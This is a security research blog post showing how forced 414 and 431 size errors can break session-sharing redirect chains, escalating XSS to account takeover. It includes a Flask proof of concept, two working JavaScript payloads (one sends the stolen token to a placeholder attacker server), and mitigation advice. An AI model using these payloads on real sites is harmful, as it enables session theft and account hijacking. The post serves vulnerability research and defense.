Scream at It Until It Escalates — XSS to ATO via Server Size Errors Gadgets

Introduction

Servers, like humans, have limits on how much data they can handle at once. Maybe you're familiar with the 414 and 431 status codes:


  • 414 Status Code - Returned when the URL is larger than the limits defined by the server.
  • 431 Status Code - Returned when the headers are larger than the limits defined by the server.

Even though these look like normal errors — the request is simply too large in some way — an attacker can still leverage these kinds of errors to escalate vulnerabilities such as XSS. The idea for this small research came from a real-world case where I escalated an XSS to an account takeover using the server's 414 status code.


We'll explore URL and header size limits from different servers and I'll showcase two possible attack scenarios using 431 and 414 status codes to leverage an XSS.


Server Size Limitations

To calculate the size of the URL and headers, we can use the following rules:


  • URL Limit - All characters starting from the URL path count.
    Example: http://example.com/path_example counts as 13 characters.

  • Header Limit - All characters in the header name and header value count.
    Example: Cookie: x=y; counts as 10 characters.

Below is a table with some of the most popular servers and their size limits for URLs and headers.


Note: The measurements were taken with default configurations of each server, on the latest versions and without any custom modifications. These values can be changed by the server administrator, so they may vary across environments.



ApacheNGINXGunicornIISNodeJSTomcat
URL Limit81778176408016378158247564
Header Limit81938188818516324163647560


The numbers in the table represent the maximum number of characters allowed in the URL and headers before the server returns a 414 or 431 status code. For example, in NGINX the default URL limit is 8177 characters. Exceeding this limit will result in a 414 status code.


Servers Size Limitations

Attack Scenarios

414 Status Code

This attack scenario comes from a real case where I used an XSS and the server's 414 status code to break a chain of redirects and steal a session token that was passed between websites using the Salesforce E&E Ecommerce solution. The target had two brands, and because I'm under an NDA, let's call them 1-brand.com and 2-brand.com. For context, I had XSS in both of the brands, because they had the same code base, just different brand names.


The Salesforce session cookie is, unsurprisingly, httponly, so we can't steal it directly with XSS. After looking around, it seemed there weren't many ways to escalate the XSS:


  • Cookie attacks like Cookie Jar Overflow, Cookie Tossing, or Cookie Sandwich are not possible.
  • Users' PII is handled by a third party, and you could only change someone's email by contacting support. The password change is protected by a confirmation step, and I couldn't find a way to bypass it.

One Company, Different Brands

However, there was one last functionality that was very interesting. Because the two brand names are under the same company, if you're logged in to one site, you're also logged into the other brand site. This functionality is handled by this Salesforce function:



Servers Size Limitations

This method is used to create a URL that redirects to a location in the current site with another host name. When the URL is submitted, the system copies all system cookies, such that user, session and basket information are shared across different hosts.


The specified host name must be defined in the alias settings for the site, otherwise an exception will be thrown when submitting the redirect URL. If the specified host is the same as the current host, the method will return a "normal" URL because no redirect is required.



This way, a user doesn't need two separate accounts, and the basket is shared between brands so you don't have to make two separate purchases. Very cool functionality — and useful for escalating to a full account takeover! Let's look at how the redirect flow works:




  • User clicks on the 2-brand.com logo and a GET request is made to issue a redirect to that brand.
  • To log the user into 2-brand.com, a session token is generated and added to the URL.
  • User is redirected to 2-brand.com with the session token in the URL.
  • 2-brand.com logs the user in using the token and redirects to the main page.

The problem with this flow is that the session token is passed in the URL as a query parameter. If we can intercept this URL in the middle of the chain, we can steal the session token and take over the account.


Breaking the Chain with a Salesforce URL-Length Gadget

The idea is to use the server's 414 status code to break the redirect chain. If we make the URL too long, the server will return a 414 status code and stop the chain. That lets us intercept the URL with the session token and steal it. Salesforce documentation shows that the URL limit for the Salesforce Ecommerce solution is 2002 characters:


The maximum length of a URI plus query parameters request is 2002 characters. If the request exceeds this limit, the page returns a 404 error.



Salesforce URL Limit

So, if we can make the URL longer than 2002 characters, we can break the redirect chain and intercept the URL with the session token. But how do we make the URL longer? The answer is simple: we control the url parameter path in the first redirect. This parameter specifies the return URL after the user logs in.


If we make the url path just below the 2002 character limit, then when the token parameter is added in the second redirect it will exceed the limit and return a 414 status code, breaking the chain and allowing us to intercept the session token.



Here's the XSS payload used to break the chain, intercept the session token and send it to our server:

Note: You may notice we're redirecting to 1-brand.com instead of 2-brand.com. This is because we cannot leak cross-origin domains unless they are an allowed origin. Keeping the flow within the same domain removes that concern.


<script>
    const u = "https://1-brand.com/s/Sites-1-brand-Site/dw/shared_session_redirect?url=https://1-brand.com/";
    const r = await fetch(u + "A".repeat(1912));
    const t = new URLSearchParams(r.url).get("token");
    console.log("session token = " + t);
    fetch("http://ATTACKERS_SERVER/"+t);
</script>

Salesforce URL Limit

431 Status Code

Let's make things harder: suppose we don't have any control over the URL to use the 414 status code. What can we do? How can we steal the session token?


It's common for websites to set cookies via middleware. These may be analytics cookies or application configuration cookies. For example, www.google.com always sets a cookie called __Secure-ENID (used to store user preferences). We can detect which cookies are set by middleware by deleting existing cookies and refreshing the page. If a cookie reappears in the response, it was set by middleware.


Even if you clear all cookies, the middleware may set them again when you visit the site. This is a perfect candidate for a 431 status code attack. If we can make the cookies header too large, the server will return a 431 status code and stop the redirect chain. That lets us intercept the URL with the session token and steal it.


431 Gadget Proof of Concept

Let's look at a simple Flask app that sets a cookie via middleware and has the same functionality as the Salesforce example:


import urllib.parse
from flask import Flask, redirect, request, url_for

app = Flask(__name__)

COOKIE_NAME = "UserExperience"
COOKIE_VALUE = "faff3e1b-7e6b-4d3a-9c3d-2f1e4b5c6d7e"

@app.before_request
def check_cookie():
    if COOKIE_NAME not in request.cookies:
        request.set_cookie_needed = True
    else:
        request.set_cookie_needed = False

@app.after_request
def set_cookie(response):
    if getattr(request, "set_cookie_needed", False):
        response.set_cookie(COOKIE_NAME, COOKIE_VALUE, max_age=60*60*24*7)
    return response

@app.route("/", methods=["GET"])
def home():
    return "Hello, World"

@app.route("/share_redirect", methods=["GET"])
def share_redirect():
    
    token_param = request.args.get("token")

    if token_param:
        return redirect("/")
    
    token_value = "super_secret_session_cookie_8d98d189d19f4c3b"
    query_params = {
        "token": token_value
    }

    new_query = urllib.parse.urlencode(query_params)
    new_url = f"{url_for('share_redirect')}?{new_query}"

    return redirect(new_url)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

We have two endpoints and middleware:


  • / - The home page that returns a simple message.
  • /share_redirect - Redirects to itself with a session token in the URL.
  • Middleware checks if the cookie UserExperience is set. If not, it sets it in the response.

To run this Python app we use Gunicorn with the command gunicorn app:app. Gunicorn has a header limit of 8185 characters. If we can make the Cookie header exceed 8185 characters, we can break the chain and steal the session token.


One thing to keep in mind is that Chrome limits a single cookie to 4096 characters. So, to make the Cookie header exceed 8185 characters, we need at least two cookies plus the cookie set by the middleware. Let's do the math:


  • Header name: Cookie = 6 characters
  • Cookie 1: 4095 + 4 = 4099 characters
  • Cookie 2: 4027 + 4 = 4031 characters
  • Cookie set by middleware: UserExperience=faff3e1b-7e6b-4d3a-9c3d-2f1e4b5c6d7e = 51 characters

Total: 4099 + 4031 + 6 + 51 = 8187 characters, which is above Gunicorn's header size limit.


Note: The number 4 being added to the cookies are the characters that are part of the cookie such as x=COOKIE_VALUE;<space>

<script>
    document.cookie = "UserExperience=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
    document.cookie = "x="+"A".repeat(4095);
    document.cookie = "y="+"B".repeat(4027);

    const e = await fetch("http://localhost:8000/share_redirect", { credentials: "include"});
    const r = new URL(e.url);
    const t = r.searchParams.get("token");
    console.log("secret = " + t);
</script>

Salesforce URL Limit

The code will do the following:


  • Delete the UserExperience cookie.
  • Set two cookies: x with 4095 characters and y with 4027 characters so the total is bellow the 8185 limit.
  • Make a request to the /share_redirect endpoint which will add the token to our URL.
  • Because the UserExperience cookie is set by middleware, the next request will exceed the Cookie header size limit and be broken.
  • Finally, we extract the token from the URL and can send the secret to our server.

Here's how the cookie jar looks when the server returns a 431 status code:


Salesforce URL Limit

Defense

Because this attack leverages server limitations, one might argue the best defense is to increase server limits. However, that's not always practical or sufficient. The browser URL limit (for Chrome, for example) is about 2MB, which is roughly 2 million characters. When I talked to the dev team of the target I exploited using the 414 status code, they said a WAF rule would be added to block URLs above 2002 characters. That alone won't fully fix the issue, because an attacker could instead break the chain using a 413 status code returned by the WAF.


What I recommended to the dev team was: yes, add a WAF rule to catch URLs above 2002 characters, but instead of returning a 413, return a 302 redirect to the root page of the current domain. This way the redirect chain is not broken and the session token is never exposed to the attacker.

Another way to mitigate this issue is to maintain a strict allowlist of paths that are permitted in the URL parameter and block everything else. However, that depends on application logic—it's not a one-size-fits-all solution.


Conclusion

In this post we explored how server size limitations can be abused to escalate XSS vulnerabilities into full account takeovers. We saw how both 414 and 431 status codes can be used to break redirect chains and intercept sensitive information such as session tokens. Here's other tricks that use this type of status codes to escalate XSS, check out this amazing researchers: @dimasma__ , @aszx87410 , @i_bo0om .


It's important for companies to be aware of the limits of the technologies they use and how we attackers can abuse them. As a final note, hope you enjoyed this small research and that you learned something new from. Have a good rest of your day !